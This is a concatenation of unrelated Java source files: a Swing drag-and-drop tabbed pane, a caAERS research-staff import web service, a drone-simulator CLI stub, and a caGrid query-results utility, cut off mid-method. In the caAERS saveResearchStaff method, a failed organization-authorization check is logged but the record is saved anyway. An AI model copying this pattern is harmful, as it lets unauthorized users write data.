Component c = dtde.getDropTargetContext().getComponent();
System.out.println("DropTargetListener#drop: " + c.getName());
clearDropLocationPaint(c);
}
@Override public void dragExit(DropTargetEvent dte) {
Component c = dte.getDropTargetContext().getComponent();
System.out.println("DropTargetListener#dragExit: " + c.getName());
clearDropLocationPaint(c);
}
@Override public void dragEnter(DropTargetDragEvent dtde) {
Component c = dtde.getDropTargetContext().getComponent();
System.out.println("DropTargetListener#dragEnter: " + c.getName());
}
// @Override public void dragOver(DropTargetDragEvent dtde) {
// // System.out.println("dragOver");
// @Override public void dropActionChanged(DropTargetDragEvent dtde) {
// System.out.println("dropActionChanged");
}
class DnDTabData {
public final DnDTabbedPane tabbedPane;
protected DnDTabData(DnDTabbedPane tabbedPane) {
this.tabbedPane = tabbedPane;
}
}
class TabTransferHandler extends TransferHandler {
protected final DataFlavor localObjectFlavor;
protected DnDTabbedPane source;
protected final JLabel label = new JLabel() {
// Free the pixel: GHOST drag and drop, over multiple windows
@Override public boolean contains(int x, int y) {
return false;
}
};
protected final JWindow dialog = new JWindow();
protected DragImageMode mode = DragImageMode.Lightweight;
public void setDragImageMode(DragImageMode dmode) {
this.mode = dmode;
setDragImage(null);
}
protected TabTransferHandler() {
super();
System.out.println("TabTransferHandler");
// localObjectFlavor = new ActivationDataFlavor(DnDTabbedPane.class, DataFlavor.javaJVMLocalObjectMimeType, "DnDTabbedPane");
localObjectFlavor = new DataFlavor(DnDTabData.class, "DnDTabData");
dialog.add(label);
// dialog.setAlwaysOnTop(true); // Web Start
dialog.setOpacity(.5f);
// AWTUtilities.setWindowOpacity(dialog, .5f); // JDK 1.6.0
DragSource.getDefaultDragSource().addDragSourceMotionListener(e -> {
Point pt = e.getLocation();
pt.translate(5, 5); // offset
dialog.setLocation(pt);
});
}
@Override protected Transferable createTransferable(JComponent c) {
System.out.println("createTransferable");
if (c instanceof DnDTabbedPane) {
source = (DnDTabbedPane) c;
}
// return new DataHandler(c, localObjectFlavor.getMimeType());
return new Transferable() {
@Override public DataFlavor[] getTransferDataFlavors() {
return new DataFlavor[] {localObjectFlavor};
}
@Override public boolean isDataFlavorSupported(DataFlavor flavor) {
return Objects.equals(localObjectFlavor, flavor);
}
@Override public Object getTransferData(DataFlavor flavor) throws UnsupportedFlavorException, IOException {
if (isDataFlavorSupported(flavor)) {
return new DnDTabData(source);
} else {
throw new UnsupportedFlavorException(flavor);
}
}
};
}
@Override public boolean canImport(TransferHandler.TransferSupport support) {
// System.out.println("canImport");
if (!support.isDrop() || !support.isDataFlavorSupported(localObjectFlavor)) {
System.out.println("canImport:" + support.isDrop() + " " + support.isDataFlavorSupported(localObjectFlavor));
return false;
}
support.setDropAction(TransferHandler.MOVE);
DropLocation tdl = support.getDropLocation();
Point pt = tdl.getDropPoint();
DnDTabbedPane target = (DnDTabbedPane) support.getComponent();
target.autoScrollTest(pt);
DnDTabbedPane.DropLocation dl = target.tabDropLocationForPoint(pt);
int idx = dl.getIndex();
// if (!isWebStart()) {
// // System.out.println("local");
// try {
// source = (DnDTabbedPane) support.getTransferable().getTransferData(localObjectFlavor);
// } catch (Exception ex) {
// ex.printStackTrace();
boolean isDroppable = false;
boolean isAreaContains = target.getTabAreaBounds().contains(pt) && idx >= 0;
if (target.equals(source)) {
// System.out.println("target == source");
isDroppable = isAreaContains && idx != target.dragTabIndex && idx != target.dragTabIndex + 1;
} else {
// System.out.format("target!=source%n target: %s%n source: %s", target.getName(), source.getName());
isDroppable = Optional.ofNullable(source).map(c -> !c.isAncestorOf(target)).orElse(false) && isAreaContains;
}
// [JDK-6700748] Cursor flickering during D&D when using CellRendererPane with validation - Java Bug System
target.setCursor(isDroppable ? DragSource.DefaultMoveDrop : DragSource.DefaultMoveNoDrop);
support.setShowDropLocation(isDroppable);
dl.setDroppable(isDroppable);
target.setTabDropLocation(dl, null, isDroppable);
return isDroppable;
}
// private static boolean isWebStart() {
// try {
// ServiceManager.lookup("javax.jnlp.BasicService");
// return true;
// } catch (UnavailableServiceException ex) {
// return false;
private BufferedImage makeDragTabImage(DnDTabbedPane tabbedPane) {
Rectangle rect = tabbedPane.getBoundsAt(tabbedPane.dragTabIndex);
BufferedImage image = new BufferedImage(tabbedPane.getWidth(), tabbedPane.getHeight(), BufferedImage.TYPE_INT_ARGB);
Graphics g2 = image.createGraphics();
tabbedPane.paint(g2);
g2.dispose();
if (rect.x < 0) {
rect.translate(-rect.x, 0);
}
if (rect.y < 0) {
rect.translate(0, -rect.y);
}
if (rect.x + rect.width > image.getWidth()) {
rect.width = image.getWidth() - rect.x;
}
if (rect.y + rect.height > image.getHeight()) {
rect.height = image.getHeight() - rect.y;
}
return image.getSubimage(rect.x, rect.y, rect.width, rect.height);
}
@Override public int getSourceActions(JComponent c) {
System.out.println("getSourceActions");
if (c instanceof DnDTabbedPane) {
DnDTabbedPane src = (DnDTabbedPane) c;
if (src.dragTabIndex < 0) {
return TransferHandler.NONE;
}
if (mode == DragImageMode.Heavyweight) {
label.setIcon(new ImageIcon(makeDragTabImage(src)));
dialog.pack();
dialog.setVisible(true);
} else {
setDragImage(makeDragTabImage(src));
}
return TransferHandler.MOVE;
}
return TransferHandler.NONE;
}
@Override public boolean importData(TransferHandler.TransferSupport support) {
System.out.println("importData");
if (!canImport(support)) {
return false;
}
DnDTabbedPane target = (DnDTabbedPane) support.getComponent();
DnDTabbedPane.DropLocation dl = target.getDropLocation();
try {
DnDTabData data = (DnDTabData) support.getTransferable().getTransferData(localObjectFlavor);
DnDTabbedPane src = data.tabbedPane;
int index = dl.getIndex(); // boolean insert = dl.isInsert();
if (target.equals(src)) {
src.convertTab(src.dragTabIndex, index); // getTargetTabIndex(e.getLocation()));
} else {
src.exportTab(src.dragTabIndex, target, index);
}
return true;
} catch (UnsupportedFlavorException | IOException ex) {
ex.printStackTrace();
}
return false;
}
@Override protected void exportDone(JComponent c, Transferable data, int action) {
System.out.println("exportDone");
DnDTabbedPane src = (DnDTabbedPane) c;
src.setTabDropLocation(null, null, false);
src.repaint();
if (mode == DragImageMode.Heavyweight) {
dialog.setVisible(false);
}
}
}
class DropLocationLayerUI extends LayerUI<DnDTabbedPane> {
private static final int LINE_WIDTH = 3;
private static final Rectangle LINE_RECT = new Rectangle();
@Override public void paint(Graphics g, JComponent c) {
super.paint(g, c);
if (c instanceof JLayer) {
JLayer<?> layer = (JLayer<?>) c;
DnDTabbedPane tabbedPane = (DnDTabbedPane) layer.getView();
Optional.ofNullable(tabbedPane.getDropLocation())
.filter(loc -> loc.isDroppable() && loc.getIndex() >= 0)
.ifPresent(loc -> {
Graphics2D g2 = (Graphics2D) g.create();
g2.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, .5f));
g2.setPaint(Color.RED);
initLineRect(tabbedPane, loc);
g2.fill(LINE_RECT);
g2.dispose();
});
// DnDTabbedPane.DropLocation loc = tabbedPane.getDropLocation();
// if (Objects.nonNull(loc) && loc.isDroppable() && loc.getIndex() >= 0) {
// Graphics2D g2 = (Graphics2D) g.create();
// g2.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, .5f));
// g2.setPaint(Color.RED);
// initLineRect(tabbedPane, loc);
// g2.fill(LINE_RECT);
// g2.dispose();
}
}
private static void initLineRect(JTabbedPane tabbedPane, DnDTabbedPane.DropLocation loc) {
int index = loc.getIndex();
int a = Math.min(index, 1); // index == 0 ? 0 : 1;
Rectangle r = tabbedPane.getBoundsAt(a * (index - 1));
// if (tabbedPane.getTabPlacement() == JTabbedPane.TOP || tabbedPane.getTabPlacement() == JTabbedPane.BOTTOM) {
if (DnDTabbedPane.isTopBottomTabPlacement(tabbedPane.getTabPlacement())) {
LINE_RECT.setBounds(r.x - LINE_WIDTH / 2 + r.width * a, r.y, LINE_WIDTH, r.height);
} else {
LINE_RECT.setBounds(r.x, r.y - LINE_WIDTH / 2 + r.height * a, r.width, LINE_WIDTH);
}
}
}
class ButtonTabComponent extends JPanel {
protected final JTabbedPane tabbedPane;
protected ButtonTabComponent(JTabbedPane tabbedPane) {
super(new FlowLayout(FlowLayout.LEFT, 0, 0));
this.tabbedPane = Optional.ofNullable(tabbedPane).orElseThrow(() -> new IllegalArgumentException("TabbedPane cannot be null"));
setOpaque(false);
JLabel label = new JLabel() {
@Override public String getText() {
int i = tabbedPane.indexOfTabComponent(ButtonTabComponent.this);
if (i != -1) {
return tabbedPane.getTitleAt(i);
}
return null;
}
};
add(label);
label.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 5));
JButton button = new TabButton();
TabButtonHandler handler = new TabButtonHandler();
button.addActionListener(handler);
button.addMouseListener(handler);
add(button);
setBorder(BorderFactory.createEmptyBorder(2, 0, 0, 0));
}
private class TabButtonHandler extends MouseAdapter implements ActionListener {
@Override public void actionPerformed(ActionEvent e) {
int i = tabbedPane.indexOfTabComponent(ButtonTabComponent.this);
if (i != -1) {
tabbedPane.remove(i);
}
}
@Override public void mouseEntered(MouseEvent e) {
Component component = e.getComponent();
if (component instanceof AbstractButton) {
AbstractButton button = (AbstractButton) component;
button.setBorderPainted(true);
}
}
@Override public void mouseExited(MouseEvent e) {
Component component = e.getComponent();
if (component instanceof AbstractButton) {
AbstractButton button = (AbstractButton) component;
button.setBorderPainted(false);
}
}
}
}
class TabButton extends JButton {
private static final int SIZE = 17;
private static final int DELTA = 6;
protected TabButton() {
super();
setUI(new BasicButtonUI());
setToolTipText("close this tab");
setContentAreaFilled(false);
setFocusable(false);
setBorder(BorderFactory.createEtchedBorder());
setBorderPainted(false);
setRolloverEnabled(true);
}
@Override public Dimension getPreferredSize() {
return new Dimension(SIZE, SIZE);
}
@Override public void updateUI() {
// we don't want to update UI for this button
}
@Override protected void paintComponent(Graphics g) {
super.paintComponent(g);
Graphics2D g2 = (Graphics2D) g.create();
g2.setStroke(new BasicStroke(2));
g2.setPaint(Color.BLACK);
if (getModel().isRollover()) {
g2.setPaint(Color.ORANGE);
}
if (getModel().isPressed()) {
g2.setPaint(Color.BLUE);
}
g2.drawLine(DELTA, DELTA, getWidth() - DELTA - 1, getHeight() - DELTA - 1);
g2.drawLine(getWidth() - DELTA - 1, DELTA, DELTA, getHeight() - DELTA - 1);
g2.dispose();
}
}
|
package gov.nih.nci.cabig.caaers.api.impl;
import gov.nih.nci.cabig.caaers.CaaersSystemException;
import gov.nih.nci.cabig.caaers.api.ResearchStaffMigratorService;
import gov.nih.nci.cabig.caaers.dao.ResearchStaffDao;
import gov.nih.nci.cabig.caaers.dao.query.ResearchStaffQuery;
import gov.nih.nci.cabig.caaers.domain.Address;
import gov.nih.nci.cabig.caaers.domain.LocalResearchStaff;
import gov.nih.nci.cabig.caaers.domain.Organization;
import gov.nih.nci.cabig.caaers.domain.ResearchStaff;
import gov.nih.nci.cabig.caaers.domain.SiteResearchStaff;
import gov.nih.nci.cabig.caaers.domain.SiteResearchStaffRole;
import gov.nih.nci.cabig.caaers.domain.UserGroupType;
import gov.nih.nci.cabig.caaers.domain.repository.ResearchStaffRepository;
import gov.nih.nci.cabig.caaers.integration.schema.common.CaaersServiceResponse;
import gov.nih.nci.cabig.caaers.integration.schema.common.ServiceResponse;
import gov.nih.nci.cabig.caaers.integration.schema.common.Status;
import gov.nih.nci.cabig.caaers.integration.schema.common.WsError;
import gov.nih.nci.cabig.caaers.integration.schema.researchstaff.ResearchStaffType;
import gov.nih.nci.cabig.caaers.integration.schema.researchstaff.SiteResearchStaffRoleType;
import gov.nih.nci.cabig.caaers.integration.schema.researchstaff.SiteResearchStaffType;
import gov.nih.nci.cabig.caaers.integration.schema.researchstaff.Staff;
import gov.nih.nci.cabig.caaers.service.DomainObjectImportOutcome;
import gov.nih.nci.cabig.caaers.service.DomainObjectImportOutcome.Severity;
import java.util.ArrayList;
import java.util.List;
import javax.jws.WebService;
import javax.jws.soap.SOAPBinding;
import org.apache.commons.collections.CollectionUtils;
import org.apache.commons.lang.StringUtils;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.annotation.Required;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
@WebService(endpointInterface="gov.nih.nci.cabig.caaers.api.ResearchStaffMigratorService", serviceName="ResearchStaffMigratorService")
@SOAPBinding(parameterStyle=SOAPBinding.ParameterStyle.BARE)
public class DefaultResearchStaffMigratorService extends DefaultMigratorService implements
ResearchStaffMigratorService,ApplicationContextAware {
private static final Log logger = LogFactory.getLog(DefaultResearchStaffMigratorService.class);
private ResearchStaffDao researchStaffDao;
private ApplicationContext applicationContext;
protected ResearchStaffRepository researchStaffRepository;
/**
* Fetches the research staff from the DB
*
* @param nciCode
* @return
*/
ResearchStaff fetchResearchStaff(String loginId) {//String nciIdentifier) {
ResearchStaffQuery rsQuery = new ResearchStaffQuery();
if (StringUtils.isNotEmpty(loginId)) {
rsQuery.filterByExactLoginId(loginId);
//rsQuery.filterByEmailAddress(email);
}
List<ResearchStaff> rsList = researchStaffRepository.searchResearchStaff(rsQuery);
if (rsList == null || rsList.isEmpty()) {
return null;
}
return rsList.get(0);
}
public DomainObjectImportOutcome<ResearchStaff> processResearchStaff(ResearchStaffType researchStaffType){
DomainObjectImportOutcome<ResearchStaff> researchStaffImportOutcome = null;
ResearchStaff xmlResearchStaff = null;
ResearchStaff dbResearchStaff = null;
try {
xmlResearchStaff = buildResearchStaff(researchStaffType);
String email = researchStaffType.getEmailAddress();
String loginId = researchStaffType.getLoginId();
if (StringUtils.isEmpty(loginId)) {
loginId = email;
}
dbResearchStaff = fetchResearchStaff(loginId);
if(dbResearchStaff == null){
saveResearchStaff(xmlResearchStaff);
researchStaffImportOutcome = new DomainObjectImportOutcome<ResearchStaff>();
researchStaffImportOutcome.setImportedDomainObject(xmlResearchStaff);
}else{
syncResearchStaff(xmlResearchStaff,dbResearchStaff);
saveResearchStaff(dbResearchStaff);
researchStaffImportOutcome = new DomainObjectImportOutcome<ResearchStaff>();
researchStaffImportOutcome.setImportedDomainObject(xmlResearchStaff);
}
} catch (CaaersSystemException e) {
xmlResearchStaff = new LocalResearchStaff();
xmlResearchStaff.setNciIdentifier(researchStaffType.getNciIdentifier());
xmlResearchStaff.setFirstName(researchStaffType.getFirstName());
xmlResearchStaff.setLastName(researchStaffType.getLastName());
researchStaffImportOutcome = new DomainObjectImportOutcome<ResearchStaff>();
researchStaffImportOutcome.setImportedDomainObject(xmlResearchStaff);
researchStaffImportOutcome.addErrorMessage(e.getMessage(), Severity.ERROR);
}
return researchStaffImportOutcome;
}
private List<Organization> checkAuthorizedOrganizations (ResearchStaffType researchStaffType) {
List<SiteResearchStaffType> siteResearchStaffTypeList = researchStaffType.getSiteResearchStaffs().getSiteResearchStaff();
String nciIntituteCode = "";
List<Organization> orgs = new ArrayList<Organization>();
for(SiteResearchStaffType siteResearchStaffType : siteResearchStaffTypeList){
nciIntituteCode = siteResearchStaffType.getOrganizationRef().getNciInstituteCode();
orgs.addAll(getAuthorizedOrganizationsByNameOrNciId(null, nciIntituteCode));
}
return orgs;
}
public CaaersServiceResponse saveResearchStaff(Staff staff) {
List<ResearchStaffType> researchStaffList = staff.getResearchStaff();
ResearchStaff xmlResearchStaff = null;
ResearchStaff dbResearchStaff = null;
List<WsError> wsErrors = new ArrayList<WsError>();
CaaersServiceResponse caaersServiceResponse = new CaaersServiceResponse();
ServiceResponse serviceResponse = new ServiceResponse();
serviceResponse.setStatus(Status.FAILED_TO_PROCESS);
for (ResearchStaffType researchStaffType:researchStaffList) {
if (checkAuthorizedOrganizations(researchStaffType).size() == 0){
WsError err = new WsError();
err.setErrorDesc("Failed to process ResearchStaff ::: nciIdentifier : "+researchStaffType.getNciIdentifier() + " ::: firstName : "+researchStaffType.getFirstName()+ " ::: lastName : "+researchStaffType.getLastName()) ;
err.setException("User not authorized on this Organization : " + researchStaffType.getNciIdentifier());
wsErrors.add(err);
}
try {
xmlResearchStaff = buildResearchStaff(researchStaffType);
String email = researchStaffType.getEmailAddress();
String loginId = researchStaffType.getLoginId();
if (StringUtils.isEmpty(loginId)) {
loginId = email;
}
dbResearchStaff = fetchResearchStaff(loginId);
if(dbResearchStaff == null){
saveResearchStaff(xmlResearchStaff);
DomainObjectImportOutcome<ResearchStaff> researchStaffImportOutcome = new DomainObjectImportOutcome<ResearchStaff>();
researchStaffImportOutcome.setImportedDomainObject(xmlResearchStaff);
}else{
syncResearchStaff(xmlResearchStaff,dbResearchStaff);
saveResearchStaff(dbResearchStaff);
DomainObjectImportOutcome<ResearchStaff> researchStaffImportOutcome = new DomainObjectImportOutcome<ResearchStaff>();
researchStaffImportOutcome.setImportedDomainObject(dbResearchStaff);
}
} catch (CaaersSystemException e) {
xmlResearchStaff = new LocalResearchStaff();
xmlResearchStaff.setNciIdentifier(researchStaffType.getNciIdentifier());
xmlResearchStaff.setFirstName(researchStaffType.getFirstName());
xmlResearchStaff.setLastName(researchStaffType.getLastName());
DomainObjectImportOutcome<ResearchStaff> researchStaffImportOutcome = new DomainObjectImportOutcome<ResearchStaff>();
researchStaffImportOutcome.setImportedDomainObject(xmlResearchStaff);
researchStaffImportOutcome.addErrorMessage(e.getMessage(), Severity.ERROR);
WsError err = new WsError();
err.setErrorDesc("Failed to process ResearchStaff ::: nciIdentifier : "+researchStaffType.getNciIdentifier() + " ::: firstName : "+researchStaffType.getFirstName()+ " ::: lastName : "+researchStaffType.getLastName()) ;
err.setException(e.getMessage());
wsErrors.add(err);
}
}
serviceResponse.setWsError(wsErrors);
if (wsErrors.size() == 0) {
serviceResponse.setStatus(Status.PROCESSED);
}
caaersServiceResponse.setServiceResponse(serviceResponse);
return caaersServiceResponse;
}
public ResearchStaff buildResearchStaff(ResearchStaffType researchStaffDto) throws CaaersSystemException {
try {
logger.info("Begining of ResearchStaffMigrator : buildResearchStaff");
String nciIdentifier = researchStaffDto.getNciIdentifier();
String email = researchStaffDto.getEmailAddress();
String loginId = researchStaffDto.getLoginId();
if (StringUtils.isEmpty(loginId)) {
loginId = email;
}
ResearchStaff researchStaff = new LocalResearchStaff();
researchStaff.setNciIdentifier(nciIdentifier);
if (StringUtils.isEmpty(loginId)) {
researchStaff.setLoginId(researchStaffDto.getEmailAddress());
} else {
researchStaff.setLoginId(loginId);
}
researchStaff.setFirstName(researchStaffDto.getFirstName());
researchStaff.setLastName(researchStaffDto.getLastName());
researchStaff.setMiddleName(researchStaffDto.getMiddleName());
researchStaff.setFaxNumber(researchStaffDto.getFaxNumber());
researchStaff.setPhoneNumber(researchStaffDto.getPhoneNumber());
researchStaff.setEmailAddress(researchStaffDto.getEmailAddress());
Address researchStaffAddress = new Address();
researchStaffAddress.setStreet(researchStaffDto.getStreet());
researchStaffAddress.setCity(researchStaffDto.getCity());
researchStaffAddress.setState(researchStaffDto.getState());
if(researchStaffDto.getZip() != null & !StringUtils.isEmpty(researchStaffDto.getZip())){
researchStaffAddress.setZip(Integer.parseInt(researchStaffDto.getZip()));
}
researchStaff.setAddress(researchStaffAddress);
List<SiteResearchStaffType> siteRsTypeList= researchStaffDto.getSiteResearchStaffs().getSiteResearchStaff();
Address siteResearchStaffAddress = null;
SiteResearchStaffRole siteResearchStaffRole = null;
List<SiteResearchStaffRoleType> srsRoleTypes = null;
for (SiteResearchStaffType siteResearchStaffType : siteRsTypeList) {
SiteResearchStaff siteResearchStaff = new SiteResearchStaff();
siteResearchStaff.setEmailAddress(siteResearchStaffType.getEmailAddress());
siteResearchStaff.setPhoneNumber(siteResearchStaffType.getPhoneNumber());
siteResearchStaff.setFaxNumber(siteResearchStaffType.getFaxNumber());
siteResearchStaffAddress = new Address();
siteResearchStaffAddress.setStreet(siteResearchStaffType.getStreet());
siteResearchStaffAddress.setCity(siteResearchStaffType.getCity());
siteResearchStaffAddress.setState(siteResearchStaffType.getState());
if(siteResearchStaffType.getZip() != null & !StringUtils.isEmpty(siteResearchStaffType.getZip())){
siteResearchStaffAddress.setZip(Integer.parseInt(siteResearchStaffType.getZip()));
}
siteResearchStaff.setAddress(siteResearchStaffAddress);
Organization org = fetchOrganization(siteResearchStaffType.getOrganizationRef().getNciInstituteCode());
srsRoleTypes = siteResearchStaffType.getSiteResearchStaffRoles().getSiteResearchStaffRole();
for(SiteResearchStaffRoleType srsRoleType : srsRoleTypes){
siteResearchStaffRole = new SiteResearchStaffRole();
siteResearchStaffRole.setRoleCode(srsRoleType.getRole().value());
siteResearchStaffRole.setStartDate(srsRoleType.getStartDate().toGregorianCalendar().getTime());
siteResearchStaffRole.setEndDate(srsRoleType.getEndDate().toGregorianCalendar().getTime());
siteResearchStaffRole.setSiteResearchStaff(siteResearchStaff);
siteResearchStaff.addSiteResearchStaffRole(siteResearchStaffRole);
}
siteResearchStaff.setOrganization(org);
siteResearchStaff.setResearchStaff(researchStaff);
researchStaff.addSiteResearchStaff(siteResearchStaff);
}
researchStaff.getUserGroupTypes().clear();
for (String roleCode : researchStaff.getAllRoles()) {
researchStaff.addUserGroupType(UserGroupType.valueOf(roleCode));
}
return researchStaff;
} catch (Exception e) {
logger.error("Error while creating research staff", e);
throw new CaaersSystemException(e.getMessage(), e);
}
}
public void saveResearchStaff(ResearchStaff researchStaff) throws CaaersSystemException {
try {
logger.info("Begining of ResearchStaffMigrator : saveResearchStaff");
//save
researchStaffRepository.save(researchStaff,"URL");
logger.info("Created the research staff :" + researchStaff.getId());
logger.info("End of ResearchStaffMigrator : saveResearchStaff");
} catch (Exception e) {
logger.error("Error while creating research staff", e);
throw new CaaersSystemException("Unable to create research staff : "+ e.getMessage(), e);
}
}
/**
*
* @param xmlResearchStaff
* @param dbResearchStaff
*/
private void syncResearchStaff(ResearchStaff xmlResearchStaff, ResearchStaff dbResearchStaff){
//do the basic property sync
dbResearchStaff.setEmailAddress(xmlResearchStaff.getEmailAddress());
dbResearchStaff.setPhoneNumber(xmlResearchStaff.getPhoneNumber());
dbResearchStaff.setFaxNumber(xmlResearchStaff.getFaxNumber());
dbResearchStaff.getAddress().setStreet(xmlResearchStaff.getAddress().getStreet());
dbResearchStaff.getAddress().setCity(xmlResearchStaff.getAddress().getCity());
dbResearchStaff.getAddress().setState(xmlResearchStaff.getAddress().getState());
dbResearchStaff.getAddress().setZip(xmlResearchStaff.getAddress().getZip());
//do the site research staff sync
if(CollectionUtils.isEmpty(xmlResearchStaff.getSiteResearchStaffs())) return; //nothing provided in xml input
List<SiteResearchStaff> existingSiteResearchStaffs = new ArrayList<SiteResearchStaff>();
List<SiteResearchStaff> newSiteResearchStaffs = new ArrayList<SiteResearchStaff>();
for(SiteResearchStaff xmlSiteResearchStaff : xmlResearchStaff.getSiteResearchStaffs()){
SiteResearchStaff existing = dbResearchStaff.findSiteResearchStaff(xmlSiteResearchStaff);
if(existing != null){
//sync the roles
List<SiteResearchStaffRole> existingRoles = new ArrayList<SiteResearchStaffRole>();
List<SiteResearchStaffRole> newRoles = new ArrayList<SiteResearchStaffRole>();
if(CollectionUtils.isNotEmpty(xmlSiteResearchStaff.getSiteResearchStaffRoles())){
for(SiteResearchStaffRole xmlRole : xmlSiteResearchStaff.getSiteResearchStaffRoles()){
SiteResearchStaffRole existingRole = existing.findSiteResearchStaffRole(xmlRole);
if(existingRole != null){
existingRoles.add(existingRole);
existingRole.setStartDate(xmlRole.getStartDate());
existingRole.setEndDate(xmlRole.getEndDate());
}else{
xmlRole.setSiteResearchStaff(existing);
newRoles.add(xmlRole);
}
}
//add new roles
existing.getSiteResearchStaffRoles().addAll(newRoles);
existingSiteResearchStaffs.add(existing);
}
}else {
xmlSiteResearchStaff.setResearchStaff(dbResearchStaff);
newSiteResearchStaffs.add(xmlSiteResearchStaff);
}
}
//remove the unwanted ones.
List<SiteResearchStaff> unwantedSiteResearchStaffs = new ArrayList<SiteResearchStaff>();
for(SiteResearchStaff dbSiteResearchStaff : dbResearchStaff.getSiteResearchStaffs()){
boolean isPresentInXML = false;
for(SiteResearchStaff existingSiteResearchStaff : existingSiteResearchStaffs){
if(dbSiteResearchStaff == existingSiteResearchStaff){
isPresentInXML = true;
break;
}
}
if(!isPresentInXML){
unwantedSiteResearchStaffs.add(dbSiteResearchStaff);
}
}
//throw away the items in unwanted
for(SiteResearchStaff unwanted : unwantedSiteResearchStaffs){
dbResearchStaff.getSiteResearchStaffs().remove(unwanted);
}
//add the items in new
dbResearchStaff.getSiteResearchStaffs().addAll(newSiteResearchStaffs);
}
//CONFIGURATION
@Required
public void setResearchStaffDao(ResearchStaffDao researchStaffDao) {
this.researchStaffDao = researchStaffDao;
}
@Required
public ResearchStaffDao getResearchStaffDao() {
return researchStaffDao;
}
public void setApplicationContext(ApplicationContext applicationContext)
throws BeansException {
this.applicationContext = applicationContext;
}
public void setResearchStaffRepository(
ResearchStaffRepository researchStaffRepository) {
this.researchStaffRepository = researchStaffRepository;
}
}
|
package com.DroneSimulator;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.Dictionary;
import java.util.Hashtable;
import org.apache.commons.cli.BasicParser;
import org.apache.commons.cli.CommandLine;
import org.apache.commons.cli.GnuParser;
import org.apache.commons.cli.HelpFormatter;
import org.apache.commons.cli.Options;
import org.apache.commons.cli.ParseException;
import org.apache.commons.cli.PosixParser;
public class Program {
/**
* The entry point of the application.
*
* @param args
*/
public static void main(String[] args) {
CommandLine arguments = parseArguments(args);
if (arguments == null) {
return;
}
if(arguments.hasOption("help"))
{
HelpFormatter formatter = new HelpFormatter();
formatter.printHelp("DroneSimulator", options);
}
// Create some objects, set some values.
// Create and show window.
}
private static CommandLine parseArguments(String[] args)
{
try
{
options = new Options();
options.addOption("duration", true, "The duration of a trial in seconds.");
options.addOption("devianceX", true, "The maximum deviance from the x-axis.");
options.addOption("devianceXy", true, "The maximum deviance from the y-axis.");
options.addOption("initialWidth", true, "The initial width of the target.");
options.addOption("initialHeight", true, "The initial height of the target.");
options.addOption("velocity", true, "The velocity of the simulated drone.");
options.addOption("help", false, "Shows this help");
return new GnuParser().parse(options, args);
}
catch(ParseException ex)
{
System.out.println(ex.getMessage());
return null;
}
}
private static Options options;
}
|
package gov.nih.nci.cagrid.data.utilities;
import gov.nih.nci.cagrid.cqlresultset.CQLObjectResult;
import gov.nih.nci.cagrid.cqlresultset.CQLQueryResults;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import javax.xml.namespace.QName;
import org.apache.axis.EngineConfiguration;
import org.apache.axis.MessageContext;
import org.apache.axis.client.AxisClient;
import org.apache.axis.configuration.FileProvider;
import org.apache.axis.description.TypeDesc;
import org.apache.axis.message.MessageElement;
/**
* CQLQueryResultsUtil
*
* @author <A HREF="MAILTO:ervin@bmi.osu.edu">David W. Ervin</A>
*
* @created Apr 4, 2006
* @version $Id$
*/
public class CQLQueryResultsUtil {
private static Map typeQNames = new HashMap();
/**
* Creates a CQLQueryResults object from a list of Java Objects. QNames for each object
* are determined as follows:
* 1) The Axis TypeDesc is consulted
* 2) If no QName is found, the Axis current MessageContext is queried
* 3) An attempt is made to reflect-load and invoke the object's getTypeDesc method
*
* If no QName is found after these efforts have been made,
* a null pointer exception is thrown
*
* @param rawObjects
* @return
*/
public static CQLQueryResults createQueryResults(List rawObjects) {
return createQueryResults(rawObjects, (InputStream) null);
}
/**
* Creates a CQLQueryResults object from a list of Java Objects. A message context
* is created and configured with the given config stream for locating QNames,
* serializers, and deserializers for the objects.
*
* @param rawObjects
* @param configStream
* @return
*/
public static CQLQueryResults createQueryResults(List rawObjects, InputStream configStream) {
typeQNames.clear();
MessageContext context = null;
if (configStream != null) {
context = createMessageContext(configStream);
} else {
context = MessageContext.getCurrentContext();
}
CQLQueryResults results = new CQLQueryResults();
LinkedList resultObjects = new LinkedList();
Iterator objectIter = rawObjects.iterator();
while (objectIter.hasNext()) {
Object obj = objectIter.next();
resultObjects.add(createObjectResult(obj, context));
}
CQLObjectResult[] objectResultArray = new CQLObjectResult[rawObjects.size()];
resultObjects.toArray(objectResultArray);
results.setObjectResult(objectResultArray);
return results;
}
/**
* Creates a CQLQueryResults object from a list of objects with a given QName.
* This method assumes that all of the objects in the list are of the
* same type.
*
* @param rawObjects
* @param qname
* @return
*/
public static CQLQueryResults createQueryResults(List rawObjects, QName qname) {
CQLQueryResults results = new CQLQueryResults();
CQLObjectResult[] objResults = new CQLObjectResult[rawObjects.size()];
Iterator objIter = rawObjects.iterator();
int index = 0;
while (objIter.hasNext()) {
Object o = objIter.next();
CQLObjectResult object = new CQLObjectResult();
object.setType(o.getClass().getName());
MessageElement elem = new MessageElement(qname, o);
object.set_any(new MessageElement[] {elem});
objResults[index] = object;
index++;
}
results.setObjectResult(objResults);
return results;
}
private static MessageContext createMessageContext(InputStream configStream) {
EngineConfiguration config = new FileProvider(configStream);
AxisClient client = new AxisClient(config);
MessageContext context = new MessageContext(client);
return context;
}
private static CQLObjectResult createObjectResult(Object obj, MessageContext context) {
CQLObjectResult objectResult = new CQLObjectResult();
objectResult.setType(obj.getClass().getName());
QName objectQname = getQName(obj, context);
if (objectQname == null) {
throw new NullPointerException("No qname found for class " + obj.getClass().getName()
+ ". Check your client or server-config.wsdd");
}
MessageElement anyElement = new MessageElement(objectQname, obj);
objectResult.set_any(new MessageElement[] {anyElement});
return objectResult;
}
private static QName getQName(Object obj, MessageContext context) {
Class objectClass = obj.getClass();
// check cache
QName objectQname = (QName) typeQNames.get(objectClass);
if (objectQname == null) {
// check the type description registry
TypeDesc desc = TypeDesc.getTypeDescForClass(objectClass);
if (desc != null) {
objectQname = desc.getXmlType();
if (objectQname != null) {
typeQNames.put(objectClass, objectQname);
return objectQname;
}
}
// check the context
objectQname = context.getTypeMapping().getTypeQName(objectClass);
if (objectQname != null) {
